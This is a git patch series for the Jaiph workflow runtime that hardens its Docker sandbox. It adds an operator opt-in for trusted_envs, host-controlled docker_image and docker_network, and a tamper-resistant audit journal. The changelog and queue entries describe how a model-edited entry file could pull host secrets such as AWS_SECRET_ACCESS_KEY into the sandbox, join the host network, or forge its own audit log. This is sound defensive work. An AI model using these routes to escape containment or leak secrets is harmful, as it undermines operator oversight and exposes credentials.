rejected outright instead. + assert.throws( + () => resolveDockerConfig({ dockerImage: "alpine:3.19" }, {}), + /E_DOCKER_IMAGE_HOST_ONLY/, + ); }); // --------------------------------------------------------------------------- diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index a3ade49a..0b6b9b63 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -11,12 +11,33 @@ import { isEnvAllowed, RUN_WORKFLOW_ENV, type AgentBackend } from "./kernel/env- export interface DockerRunConfig { enabled: boolean; image: string; - /** True when image was explicitly set via env or in-file config (not the default). */ + /** + * True when the image was explicitly set by the operator via + * `JAIPH_DOCKER_IMAGE` (not the default). In-file `runtime.docker_image` is + * host-controlled and never selects the image (see `resolveDockerConfig`). + */ imageExplicit: boolean; network: string; timeoutSeconds: number; } +/** + * Whether a file-declared `runtime.docker_network` value is safe to honour. + * + * An entry file is repo- or model-supplied and therefore untrusted: it must not + * be able to dissolve the container's network isolation (finding M-6). `host` + * shares the host network namespace (reaching loopback-only services and binding + * host ports); `container:` and `ns:` join another namespace. Those + * are host-controlled only — the operator may still opt in through + * `JAIPH_DOCKER_NETWORK` (trusted, used verbatim). + * + * Safe in-file values are `default`, `none`, and plain named (bridge) networks: + * a bare identifier with no namespace-join `:` / path syntax, and never `host`. + */ +export function isHostSafeInFileNetwork(value: string): boolean { + return /^[A-Za-z0-9][A-Za-z0-9_.-]*$/.test(value) && value !== "host"; +} + /** * Host paths that must never be bind-mounted into a container. * Prevents accidental exposure of the Docker daemon, OS internals, or @@ -141,18 +162,40 @@ export function resolveDockerConfig( enabled = env.JAIPH_UNSAFE !== "true"; } - // image: env > in-file > default - const imageExplicit = env.JAIPH_DOCKER_IMAGE !== undefined || inFile?.dockerImage !== undefined; - const image = - env.JAIPH_DOCKER_IMAGE ?? - inFile?.dockerImage ?? - DEFAULTS.image; - - // network: env > in-file > default - const network = - env.JAIPH_DOCKER_NETWORK ?? - inFile?.dockerNetwork ?? - DEFAULTS.network; + // image: host-controlled (env) only when Docker is the active sandbox. A + // repo- or model-supplied entry file must not point the sandbox at an + // arbitrary image (finding M-6), so a file-declared runtime.docker_image is + // rejected unless the operator set JAIPH_DOCKER_IMAGE (trusted). When Docker + // is off (host / unsafe mode) the image is inert, so resolution stays lenient + // to preserve host-mode parity. + if (enabled && env.JAIPH_DOCKER_IMAGE === undefined && inFile?.dockerImage !== undefined) { + throw new Error( + `E_DOCKER_IMAGE_HOST_ONLY runtime.docker_image is host-controlled and cannot be set from the entry file; ` + + `set the image via the JAIPH_DOCKER_IMAGE environment variable (operator-controlled).`, + ); + } + const imageExplicit = env.JAIPH_DOCKER_IMAGE !== undefined; + const image = env.JAIPH_DOCKER_IMAGE ?? inFile?.dockerImage ?? DEFAULTS.image; + + // network: host-controlled (env) > host-safe in-file value > default, enforced + // only when Docker is the active sandbox. The operator's JAIPH_DOCKER_NETWORK + // is trusted and used verbatim (it may even be `host`). A file-declared value + // is untrusted: `host` / `container:*` / `ns:*` would gut the sandbox network + // isolation and are rejected unless the operator opted in via env. Inert (and + // therefore left lenient) when Docker is off. + if ( + enabled && + env.JAIPH_DOCKER_NETWORK === undefined && + inFile?.dockerNetwork !== undefined && + !isHostSafeInFileNetwork(inFile.dockerNetwork) + ) { + throw new Error( + `E_DOCKER_NETWORK_HOST_ONLY runtime.docker_network "${inFile.dockerNetwork}" is not permitted from the entry file ` + + `(host / container:* / ns:* dissolve the sandbox network isolation); ` + + `set it via the JAIPH_DOCKER_NETWORK environment variable (operator-controlled) if you truly need it.`, + ); + } + const network = env.JAIPH_DOCKER_NETWORK ?? inFile?.dockerNetwork ?? DEFAULTS.network; // timeout: env > in-file > default let timeoutSeconds: number; From 4a11d6c2364af196cd4147e32ac2777810f51369 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 12:59:18 +0200 Subject: [PATCH 19/86] Feat: gate entry-file trusted_envs behind operator opt-in An entry file's config { trusted_envs = "..." } was resolved from the operator's host environment and forwarded verbatim into the Docker sandbox, bypassing the allowlist meant to keep host secrets out. An untrusted or model-edited entry .jh could name arbitrary non-JAIPH_ secrets (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN) and pull them across the sandbox boundary the file is meant to be contained by (finding M-7). Under Docker the in-file declaration is no longer consent on its own: planTrustedEnvs now honours it only when the operator sets the opt-in JAIPH_TRUSTED_ENVS=1|true, otherwise it ignores the declaration (leaving forwarded env empty) and warns so the operator can opt in deliberately. JAIPH_TRUSTED_ENVS is reserved so the file cannot name it. Host modes, which have no allowlist to bypass, keep honouring the declaration. Docs now state that authoring the entry file is a trust boundary equal to --env. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 ++ QUEUE.md | 15 ------ docs/cli.md | 2 +- docs/configuration.md | 2 +- docs/env-vars.md | 3 +- docs/sandboxing.md | 2 +- e2e/tests/146_trusted_envs.sh | 34 ++++++++++---- src/cli/commands/run.ts | 10 +++- src/cli/run/trusted-envs.test.ts | 79 +++++++++++++++++++++++++++++++- src/cli/run/trusted-envs.ts | 58 +++++++++++++++++++---- src/env-reserved.ts | 4 ++ 11 files changed, 172 insertions(+), 40 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index de1b6343..56598d67 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,9 +7,12 @@ - **The run audit journal is now tamper-resistant and verified when it is read:** each `run_summary.jsonl` line is chained with a keyed HMAC under a per-run secret that never reaches the workflow's own script or agent subprocesses, so a workflow that rewrites, truncates, or deletes its journal can no longer forge a chain that verifies. Run listing, the `GET /v1/runs/{id}/events` snapshot, and OTLP and Sentry export now verify the chain and reject a tampered journal instead of trusting it. - **`jaiph install` and the library registry now verify integrity instead of trusting-on-first-use:** a remotely fetched registry index is signature-verified against a detached `.minisig` (minisign, `jaiph.pub` embedded as the trust anchor) and rejected when missing, unsigned, or tampered; remote registry and library URLs must use `https://`/`ssh://` (a `http://` or other disallowed scheme is refused before any fetch or clone); registry entries can pin a `commit` that the cloned HEAD must match on the first install; and an optional per-library detached signature is verified fail-closed. - **A workflow file can no longer weaken the Docker sandbox it runs in:** the entry file's `runtime.docker_image` and any isolation-breaking `runtime.docker_network` value (`host`, `container:*`, `ns:*`) are now host-controlled. When Docker is the active sandbox, a file-declared image is rejected (`E_DOCKER_IMAGE_HOST_ONLY`) and a file-declared `host` / `container:*` / `ns:*` network is rejected (`E_DOCKER_NETWORK_HOST_ONLY`), so a repo- or model-supplied workflow can no longer point the sandbox at an arbitrary image or join the host network namespace while still appearing sandboxed. Host-safe in-file network values (`default`, `none`, a named bridge network) are still honoured, and only the operator's `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` can select an image or an isolation-breaking network. +- **A workflow file can no longer pull arbitrary host secrets into the Docker sandbox by declaring them:** the entry file's `trusted_envs` keys cross the sandbox allowlist only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`. Absent the opt-in, a file-declared `trusted_envs` is ignored under Docker with a pre-flight warning, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` cannot forward that host secret across the allowlist on its own. Host modes have no allowlist to bypass, so they honour the declaration as before, and authoring the entry file is now a trust boundary equal to `--env`. ## All changes +- **Security — require an operator opt-in before honouring the entry file's `trusted_envs` (finding M-7):** the entry file's `config { trusted_envs = "…" }` was resolved from the operator's host environment and forwarded verbatim into the Docker container through the same explicit `-e` channel as `--env` pairs, bypassing the sandbox allowlist (`isEnvAllowed`, `src/runtime/docker.ts`) that keeps host secrets out. The reserved-key filter blocks only `JAIPH_*` names, so an untrusted or model-edited entry declaring `trusted_envs = "AWS_SECRET_ACCESS_KEY GITHUB_TOKEN"` pulled those host secrets into the sandbox, where a `run` step could send them off the machine over the default network — the in-file declaration was treated as per-key consent even though authoring the entry file is a trust boundary equal to `--env`. `planTrustedEnvs` (`src/cli/run/trusted-envs.ts`) now takes the active sandbox and an operator opt-in: under Docker it honours the entry file's declared keys only when `JAIPH_TRUSTED_ENVS` is `1` or `true` (the new `isTrustedEnvsOptIn`), and without the opt-in it forwards nothing and emits a pre-flight warning that names the ignored keys and how to opt in. A declared key that is unset on the host no longer aborts the pre-flight when the declaration is being ignored. Host modes have no allowlist to bypass — the runner inherits the host env directly — so they resolve the declaration as before. `JAIPH_TRUSTED_ENVS` joins `RESERVED_ENV_KEYS` (`src/env-reserved.ts`) so a file cannot name it through `--env` or `trusted_envs` (`E_ENV_RESERVED`); the opt-in is the operator's consent, not the file's. Tests: `src/cli/run/trusted-envs.test.ts` (under Docker without the opt-in the plan forwards nothing and warns, covering the non-`JAIPH_` name `AWS_SECRET_ACCESS_KEY`; with the opt-in the declared key is forwarded; an ignored declaration unset on the host does not error; `isTrustedEnvsOptIn` accepts `1` / `true` and rejects the rest) and `e2e/tests/146_trusted_envs.sh` (the Docker leg asserts the declared `TR_TOKEN` is absent from the sandbox without `JAIPH_TRUSTED_ENVS` and present with it). Docs: the opt-in condition and the trust-boundary note on the `trusted_envs` semantics in [Configuration](docs/configuration.md#trusted-envs), the new `JAIPH_TRUSTED_ENVS` row and the `--env`-alternative note in [Environment variables](docs/env-vars.md), and the env-exposure note in [Sandboxing](docs/sandboxing.md). + - **Security — treat `runtime.docker_image` and isolation-breaking `runtime.docker_network` as host-controlled (finding M-6):** an entry file is repo- or model-supplied and therefore untrusted, but its `config { runtime { … } }` values were used to build the sandbox. When the operator had not set `JAIPH_DOCKER_NETWORK`, a file-declared `runtime.docker_network` won over the `default` and was passed verbatim as `docker run --network `, and the in-file value was never content-checked (`validate-config.ts` only checks `${}` interpolation identifiers). A file shipping `runtime.docker_network = "host"` ran the container in the host network namespace, reaching loopback-only services such as a local database, another `jaiph serve` on `127.0.0.1`, or a metadata endpoint, and binding host ports, while the run still looked sandboxed; `container:` and `ns:` joined another namespace, and a file-declared `runtime.docker_image` pointed the sandbox at an arbitrary image. `resolveDockerConfig` (`src/runtime/docker.ts`) now treats both keys as host-controlled whenever Docker is the active sandbox. A file-declared `runtime.docker_image` with no operator `JAIPH_DOCKER_IMAGE` fails with `E_DOCKER_IMAGE_HOST_ONLY`, and `imageExplicit` is set only by the env var. A file-declared `runtime.docker_network` fails with `E_DOCKER_NETWORK_HOST_ONLY` unless it is host-safe, meaning `default`, `none`, or a plain named bridge network — a bare identifier with no `:` namespace-join syntax, and never `host` — as checked by the new `isHostSafeInFileNetwork`. The operator's `JAIPH_DOCKER_NETWORK` and `JAIPH_DOCKER_IMAGE` stay trusted and are used verbatim (the network may even be `host`). When Docker is off (host or `JAIPH_UNSAFE` mode) both keys are inert, so resolution stays lenient and a file declaring an unsafe value does not break a host-mode run. Tests: `src/runtime/docker.test.ts` (a file-declared `docker_network` of `host`, `container:*`, or `ns:*` is rejected; host-safe `default` / `none` / named-bridge values are honoured; a file-declared `docker_image` is rejected and never sets `imageExplicit`; the operator env network including `host` and the env image both take effect and override any in-file value; and both keys are inert when `JAIPH_UNSAFE` disables Docker), plus a real-CLI e2e case (`e2e/tests/153_docker_network_host_control.sh`). Docs: the host-controlled image/network note under **Docker runtime helper** in [Architecture](docs/architecture.md#core-components), the host-controlled notes on the `runtime.docker_image` / `runtime.docker_network` rows and the enablement paragraph in [Configuration](docs/configuration.md#runtime-docker-keys), the untrusted-layer note plus the `JAIPH_DOCKER_IMAGE` / `JAIPH_DOCKER_NETWORK` rows and the two new error codes in [Environment variables](docs/env-vars.md), and the host-controlled network and image notes in [Sandboxing](docs/sandboxing.md). - **Security — make the run audit journal tamper-resistant and actually verified (finding H-3):** each `run_summary.jsonl` line carried a `prev_hash` that was an unkeyed SHA-256 over the previous line and a public genesis constant, and no production code path ever called `verifyRunSummaryChain`. The journal lives under the workflow's own `cwd` (exported to script steps as `JAIPH_RUN_SUMMARY_FILE`), so the audited workflow could delete the file, drop incriminating lines, or rewrite it with a fully recomputed chain that was internally valid under the public algorithm, and every reader (`jaiph run`, `serve`, `mcp`, telemetry export, run listing) accepted the result. The chain is now keyed. Each line's `prev_hash` is `chainHmac(key, previousLine)` (`chainHmac(key, CHAIN_GENESIS)` for the first line), where `key` is a fresh per-run 256-bit secret from `generateChainKey` (`src/runtime/kernel/emit.ts`); `RuntimeEventEmitter` reads it from the trusted kernel process env (`src/runtime/kernel/runtime-event-emitter.ts`). The key travels only in the kernel process env under `JAIPH_CHAIN_KEY` (referenced through the `CHAIN_KEY_ENV` constant, never as a literal `env.JAIPH_*`, so it is an internal key that stays out of user-facing docs and the env-vars parity table), and it is scrubbed from every subprocess: `scrubTrustedKeys` (`src/runtime/kernel/node-workflow-runtime.ts`) deletes both the key and the journal path from every `script` scope, and `scrubPromptEnv` (`src/runtime/kernel/env-allowlist.ts`) drops the key at the agent boundary even though the `JAIPH_` prefix otherwise forwards it into the Docker container, where the in-container kernel legitimately needs it. The host (`src/cli/commands/run.ts`, `src/cli/exec/call.ts`) generates the key, forwards it to the runner, and — once the run is terminal — persists it beside the journal as a `0600` `.chain-key` file (`writeChainKey`; the dot prefix keeps it out of the serve run-dir scan). Verification now runs at every read and export boundary through `verifyRunJournal(runDir)`, which loads `.chain-key` and returns `{ verified: false, ok: true }` for an unkeyed/legacy run that cannot be verified (never blocked) or `{ verified: true, ok }` otherwise, hard-failing when `verified && !ok`: run listing marks the run `failed` with `TAMPERED_RESULT_TEXT` (`src/cli/serve/run-store.ts`), `GET /v1/runs/{id}/events` returns `409 E_TAMPERED` on the snapshot path (`src/cli/serve/handler.ts`), and the OTLP and Sentry exporters warn and skip rather than POST a tampered timeline (`src/cli/telemetry/otlp.ts`, `src/cli/telemetry/sentry.ts`). A missing or truncated journal is itself a verification failure, not a silent pass, and a chain recomputed under the public SHA-256 algorithm without the key fails at the first line, because the keyed genesis does not match. Tests: `src/runtime/kernel/emit.test.ts` (keyed round-trip, a recomputed-but-forged unkeyed chain is rejected, `verifyRunJournal` skips when no key file is present), `src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts` (the key and journal path never reach a script subprocess, a script truncating the journal is caught at the read boundary, `scrubPromptEnv` drops the key but keeps other `JAIPH_` control vars), `src/cli/serve/run-store.test.ts` (a keyed run whose journal fails verification loads as `failed`; the same journal loads unchanged when no key was persisted), `src/cli/serve/server.test.ts` (`GET /v1/runs/{id}/events` returns `409` on a tampered journal and streams a clean one), and `src/cli/telemetry/otlp.test.ts` / `src/cli/telemetry/sentry.test.ts` (each exporter hard-fails without POSTing when the chain fails verification). Docs: the rewritten keyed-hash-chain section in [Architecture](docs/architecture.md#hash-chain), the updated verification recipe in [Artifacts](docs/artifacts.md), the `409 E_TAMPERED` note on `GET /v1/runs/{id}/events` and the reload-verification note in [Serve workflows over HTTP](docs/serve.md), the export-skip note in [Export traces to an OTLP collector](docs/observability.md), and the `409 E_TAMPERED` additions in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve). diff --git a/QUEUE.md b/QUEUE.md index b7eaf8ee..fe7dfe0b 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,21 +14,6 @@ Process rules: *** -## Require operator opt-in before honouring entry-file `trusted_envs` #dev-ready - -Context: ASI-08, MEDIUM, confidence 0.75. Finding M-7 — a file-declared `trusted_envs` injects arbitrary host secrets into the sandbox, bypassing the allowlist. - -Problem: The entry file's `config { trusted_envs = "…" }` is resolved from the operator's host environment (`trusted-envs.ts:55-63`), merged into `extraEnv` (`run.ts:270`), and forwarded verbatim — bypassing `isEnvAllowed` (`docker.ts:859-861`). The reserved-key filter `isReservedEnvKey` (`env-reserved.ts:19-40`) blocks only `JAIPH_*`, not arbitrary secret names. So an untrusted/model-edited entry `.jh` declaring `config { trusted_envs = "AWS_SECRET_ACCESS_KEY GITHUB_TOKEN" }` pulls those host secrets from the operator's environment into the sandbox, where a `run` step exfiltrates them over the default network. The allowlist meant to keep host secrets out is defeated by a declaration in the file the sandbox is meant to contain. (Imported modules are correctly blocked from declaring `trusted_envs`; the entry file is not.) - -Location: `src/cli/run/trusted-envs.ts:55-63`; `src/cli/commands/run.ts:270`; `src/runtime/docker.ts:859-861`; `src/env-reserved.ts:19-40`. - -Remediation: Require a host-side opt-in (env/flag) before any entry-file `trusted_envs` value is honoured — so the operator, not the file, consents to which host secrets cross — and document that authoring the entry file is a trust boundary equal to `--env`. - -### Acceptance criteria -- An entry file declaring `config { trusted_envs = "AWS_SECRET_ACCESS_KEY" }` does not forward that host secret into the sandbox absent an operator opt-in; a test asserts the key is absent from forwarded env. -- With the operator opt-in (env/flag) present, the declared `trusted_envs` keys are forwarded; a test asserts the opt-in path works. -- The behaviour holds for arbitrary non-`JAIPH_` secret names (a test covers at least one such name). - ## Harden the image `jaiph`-presence probe and drop its login shell #dev-ready Context: ASI-05, MEDIUM, confidence 0.72. Finding M-8 — the image probe runs a workflow-selected image with none of the run hardening. diff --git a/docs/cli.md b/docs/cli.md index beeb92c4..2a57dc55 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -62,7 +62,7 @@ Sandbox selection is environment-driven; there is no `--docker` flag. The boolea | `--inplace` | — | Front-end for `JAIPH_INPLACE=1`. On a TTY, prints a destructive-edit warning that **leads with the access scope** (edits land in this workspace directory only — `` — while the rest of your machine stays inside the Docker sandbox) plus the git-tree recovery posture, then requires `Continue? [y/N]` (default **no**). Non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_DOCKER_INPLACE_NO_CONFIRM`. | | `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`. Cannot be combined with `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, a **stronger** confirmation than `--inplace` fires: the warning states host-only / **no sandbox**, that filesystem access is your **entire machine** (not just the workspace), and that scripts and agent backends can read secrets from your environment and reach paths outside the project. On a TTY it requires `Continue? [y/N]` (default **no**); non-TTY requires `--yes` / `JAIPH_INPLACE_YES` or aborts with `E_UNSAFE_NO_CONFIRM`. No prompt fires when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, or the Windows host-only override, which prints its own notice). `--raw` skips this prompt (embedding / Docker inner run). | | `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1`. Skips **both** the `--inplace` and `--unsafe` confirmation prompts — required to use either mode non-interactively. | -| `--env` | `KEY=VALUE` or `KEY` | Repeatable per-key environment passthrough into the workflow process. `--env KEY=VALUE` defines `KEY` with that exact value (first `=` splits; the value may contain `=`; empty is allowed). `--env KEY` forwards the host's current value, aborting with `E_ENV_MISSING` before spawning if `KEY` is unset on the host. `KEY` must match `[A-Za-z_][A-Za-z0-9_]*` (else `E_ENV_INVALID`). Reserved sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. **In a Docker sandbox `--env` is the per-key consent that crosses the fail-closed env allowlist verbatim** (added as explicit `-e KEY=VALUE` container args, winning over any allowlist-forwarded value); see [Sandboxing — Environment exposure](sandboxing.md#env-exposure). Values are never path-remapped. | +| `--env` | `KEY=VALUE` or `KEY` | Repeatable per-key environment passthrough into the workflow process. `--env KEY=VALUE` defines `KEY` with that exact value (first `=` splits; the value may contain `=`; empty is allowed). `--env KEY` forwards the host's current value, aborting with `E_ENV_MISSING` before spawning if `KEY` is unset on the host. `KEY` must match `[A-Za-z_][A-Za-z0-9_]*` (else `E_ENV_INVALID`). Reserved sandbox-control keys (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`, and the `JAIPH_TRUSTED_ENVS` opt-in) and runtime-managed keys (`JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, `JAIPH_MODULE_GRAPH_FILE`, `JAIPH_SOURCE_ABS`, `JAIPH_META_FILE`, `JAIPH_AGENT_TRUSTED_WORKSPACE`, `JAIPH_RUN_WORKFLOW`) are rejected with `E_ENV_RESERVED` — use the sandbox flags or real env vars for those. **In a Docker sandbox `--env` is the per-key consent that crosses the fail-closed env allowlist verbatim** (added as explicit `-e KEY=VALUE` container args, winning over any allowlist-forwarded value); see [Sandboxing — Environment exposure](sandboxing.md#env-exposure). Values are never path-remapped. | | `--` | — | End of Jaiph flags; remaining tokens are forwarded to `workflow default`. | ### Pre-flight diff --git a/docs/configuration.md b/docs/configuration.md index b5c58166..a7342b21 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -119,7 +119,7 @@ Semantics: - Declaring a key anywhere in the file (or an imported module) also **scrubs** it from every workflow's ambient scope env, so only the declaring workflow's `run` steps see it. - Pre-flight: a declared key with no value on the host (and no `--env` override) aborts before anything is spawned (`E_ENV_MISSING`). Reserved keys (the `--env` `E_ENV_RESERVED` set, including `JAIPH_DOCKER_*`) are rejected at parse time. - `--env KEY=VALUE` remains the imperative override: it wins over the host-snapshot value for the same key. -- Docker: the entry file's resolved keys cross the sandbox boundary through the same explicit `-e` channel as `--env` pairs — the in-file declaration is the per-key consent. +- Docker: the entry file's resolved keys cross the sandbox boundary through the same explicit `-e` channel as `--env` pairs — **but only when the operator opts in** with `JAIPH_TRUSTED_ENVS=1`. **Authoring the entry file is a trust boundary equal to `--env`:** an untrusted or model-edited entry could name arbitrary host secrets (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`) and pull them across the allowlist the sandbox exists to enforce (finding M-7). Absent the opt-in, the entry file's `trusted_envs` is ignored under Docker (with a pre-flight warning) and nothing is forwarded. Host modes have no allowlist to bypass (the runner inherits the host env directly), so they honour the declaration regardless. See [`JAIPH_TRUSTED_ENVS`](env-vars.md). ## Runtime (Docker) keys diff --git a/docs/env-vars.md b/docs/env-vars.md index 070a6a89..73eb690a 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -111,6 +111,7 @@ Inside a container the container is the sandbox, so unsafe host-only mode procee | `JAIPH_STDLIB` | host | path | — | — | Removed from the product. Stripped from the launched env. | | `JAIPH_TELEMETRY_FLUSH_MS` | host | int (ms) | `10000` | — | Total flush budget for the post-run telemetry hook. The OTLP-trace and Sentry exporters run concurrently, each bounded by this, so the whole flush cannot exceed it. A non-positive or unparseable value falls back to the default. Best-effort only — never load-bearing on the run. | | `JAIPH_TEST_MODE` | runtime | bool (exact `"1"`) | `false` | — | Set by `jaiph test` so the runtime skips production-only branches (e.g. file-mode normalization). | +| `JAIPH_TRUSTED_ENVS` | host | bool (`1` / `true`) | `false` | `trusted_envs` (entry file) | Operator opt-in that lets the **entry file's** `trusted_envs` cross the Docker sandbox allowlist. Absent it, a file-declared `trusted_envs` is ignored under Docker (with a warning) so an untrusted/model-edited entry cannot pull host secrets (e.g. `AWS_SECRET_ACCESS_KEY`) into the sandbox. Authoring the entry file is a trust boundary equal to `--env`. Host modes have no allowlist to bypass, so they honour the declaration regardless. Not itself settable via `--env` / `trusted_envs` (`E_ENV_RESERVED`). | | `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_INPLACE` / `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). `jaiph serve` / `jaiph mcp` never prompt: launching the server with the flag or env var is the consent, and the effective posture is printed once at startup and applied to every call. No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox and unsafe host-only proceeds with a one-line notice; see [Deploy](deploy.md). | | `JAIPH_WORKSPACE` | host, runtime | path | autodetected | — | Workspace root. Inside Docker the host CLI overrides this to `/jaiph/workspace`. | @@ -144,7 +145,7 @@ Jaiph rejects some names before it spawns anything. A bare `--env KEY` that is u A variable forwarded with `--env` is visible to trusted `run` script and workflow steps, but not to `prompt` agent subprocesses. Jaiph spawns every prompt backend with a fail-closed scrub of the environment. The scrub forwards only the base environment (`PATH`, `HOME`, locale, proxies, `CLAUDE_CONFIG_DIR`, and so on), the `JAIPH_*` control keys, and that backend's own credential keys. The scrub works the same way in host mode and in every Docker sandbox mode. See [Sandboxing — environment exposure](sandboxing.md#env-exposure). -For the common case of forwarding a host key, the [`trusted_envs`](configuration.md#trusted-envs) config key is the in-file alternative to `--env`. A `.jh` file names the host keys its trusted `run` steps need, for example `trusted_envs = "GITHUB_TOKEN"`. The keys resolve from a clean snapshot of the host environment, and the same reserved-key (`E_ENV_RESERVED`) and missing-value (`E_ENV_MISSING`) rules apply. An explicit `--env KEY=VALUE` still overrides the snapshot value for that key. Like `--env`, `trusted_envs` values reach trusted `run` steps only, never `prompt` subprocesses. +For the common case of forwarding a host key, the [`trusted_envs`](configuration.md#trusted-envs) config key is the in-file alternative to `--env`. A `.jh` file names the host keys its trusted `run` steps need, for example `trusted_envs = "GITHUB_TOKEN"`. The keys resolve from a clean snapshot of the host environment, and the same reserved-key (`E_ENV_RESERVED`) and missing-value (`E_ENV_MISSING`) rules apply. An explicit `--env KEY=VALUE` still overrides the snapshot value for that key. Like `--env`, `trusted_envs` values reach trusted `run` steps only, never `prompt` subprocesses. Under Docker, the entry file's `trusted_envs` is honored only when the operator opts in with `JAIPH_TRUSTED_ENVS=1` (see the table above) — authoring the entry file is a trust boundary equal to `--env`, so the operator, not the file, consents to which host secrets cross the sandbox allowlist (finding M-7). ## Telemetry variables diff --git a/docs/sandboxing.md b/docs/sandboxing.md index 34557076..c17c1a6f 100644 --- a/docs/sandboxing.md +++ b/docs/sandboxing.md @@ -99,7 +99,7 @@ The Docker sandbox is built to limit the damage from untrusted or semi-trusted w An `--env` value crosses to the workflow process, not to the model. `prompt` backend subprocesses get a second scrub that always runs and fails closed (`scrubPromptEnv` in `src/runtime/kernel/env-allowlist.ts`), and it runs in every sandbox mode, including host mode. After the scrub the agent receives only the base environment (`PATH`, `HOME`, locale, proxies, `CLAUDE_CONFIG_DIR`, and the like), the `JAIPH_*` control keys, and its own backend's credential keys. Secrets you inject with `--env`, such as `GITHUB_TOKEN`, stay visible to trusted `run` script and workflow steps and never reach the agent. - A `.jh` file can also declare the host keys its trusted steps need, using the [`trusted_envs`](configuration.md#trusted-envs) config key. It is the in-file alternative to `--env` for the common case of forwarding a host key. Declared keys resolve from a clean snapshot of the host environment and cross the Docker boundary through the same explicit `-e` channel as `--env` pairs, so the declaration is the consent for each key. Declared keys go through the same `prompt` scrub, so they reach trusted `run` steps only, never the agent. Only the entry file's `trusted_envs` is honored, so a declaration in an imported module cannot pull host secrets into its own steps. + A `.jh` file can also declare the host keys its trusted steps need, using the [`trusted_envs`](configuration.md#trusted-envs) config key. It is the in-file alternative to `--env` for the common case of forwarding a host key. Declared keys resolve from a clean snapshot of the host environment and cross the Docker boundary through the same explicit `-e` channel as `--env` pairs. Under Docker this crossing happens only when the operator opts in with `JAIPH_TRUSTED_ENVS=1`: authoring the entry file is a trust boundary equal to `--env`, so an untrusted or model-edited entry naming `AWS_SECRET_ACCESS_KEY` cannot pull that secret across the allowlist on its own (finding M-7). Absent the opt-in the entry file's `trusted_envs` is ignored under Docker, with a pre-flight warning. Declared keys go through the same `prompt` scrub, so they reach trusted `run` steps only, never the agent. Only the entry file's `trusted_envs` is honored, so a declaration in an imported module cannot pull host secrets into its own steps. {: #env-exposure} - **Shell injection safety.** Every `docker` call passes an explicit argument array through `execFileSync` or `spawn`, never through `/bin/sh`. Image names and other parameters are passed as literal arguments, so a value that contains shell metacharacters is never expanded by a shell. diff --git a/e2e/tests/146_trusted_envs.sh b/e2e/tests/146_trusted_envs.sh index c8d1eb5a..5996dcc9 100755 --- a/e2e/tests/146_trusted_envs.sh +++ b/e2e/tests/146_trusted_envs.sh @@ -6,8 +6,10 @@ # the host value); a sub-workflow that does not declare a key never inherits # it; `trusted_envs` in an imported module is ignored (with a warning); a # missing declared key fails pre-flight with E_ENV_MISSING; reserved keys are -# rejected at parse time. In Docker, declared keys cross the sandbox boundary -# like `--env` pairs. +# rejected at parse time. In Docker, the entry file's declared keys cross the +# sandbox boundary like `--env` pairs — but only with the operator opt-in +# JAIPH_TRUSTED_ENVS (finding M-7); without it they are ignored so the file +# cannot pull host secrets past the allowlist. set -euo pipefail @@ -171,9 +173,11 @@ e2e::assert_contains "${reserved_out}" 'trusted_envs cannot declare reserved key "trusted_envs: reserved key rejected" # --------------------------------------------------------------------------- -# Docker leg: a declared key crosses the sandbox boundary without --env. -# TR_TOKEN is not on ENV_ALLOW_PREFIXES, so only the trusted_envs declaration -# (threaded through the same explicit -e channel as --env) can carry it. +# Docker leg: the entry file's trusted_envs crosses the sandbox boundary only +# with the operator opt-in (JAIPH_TRUSTED_ENVS). TR_TOKEN is not on +# ENV_ALLOW_PREFIXES, so only the trusted_envs declaration (threaded through the +# same explicit -e channel as --env) can carry it — and only once the operator +# consents (finding M-7). TR_TOKEN is an arbitrary non-JAIPH_ 